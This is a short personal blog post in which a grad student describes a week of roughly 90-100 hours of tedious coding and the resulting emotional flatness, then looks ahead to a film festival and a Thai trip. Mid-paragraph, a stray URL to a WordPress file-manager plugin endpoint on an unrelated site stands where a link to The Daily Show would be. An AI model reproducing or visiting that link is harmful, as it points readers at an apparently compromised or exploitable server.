On one of the problems with leaving the 9-to-6 corporate world for grad school is that the alternative hours can sometimes be a lot worse. Due to a combination of over-committing myself, underestimating the amount of work I’m taking on, and a confluence of deadlines, I figure that in the seven days between last Saturday and yesterday, I put in 90-100 hours of coding, much of it pretty tedious. This is really not the way I would like to do things.
Still, it’s interesting to observe the kind of state this puts one in, though not entirely pleasant. Mostly, I feel remarkably hollowed out. My actions feel mechanical. My interactions feel scripted and overly efficient. My empathy, enthusiasm and humour have left me. (Though the empathy thing may be a pre-existing condition — touch-feely, I am not.) Not only am I not my usual witticism-dropping self, but one night I tried watching an episode of http://hiperduct.ac.uk/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php The Daily Show, but all I could think was “this is boring, I should debug my controller class and go to bed so I can wake up in time to catch the 8:47 bus”.
However, I think I’m finally done the Vancouver Art Gallery ActionScript side project that has become such a time sink, and I will never, ever use ActionScript for client-side computing again. Which means I can spent this weekend going to the film festival and planning my trip to Thailand. So huzzah for me!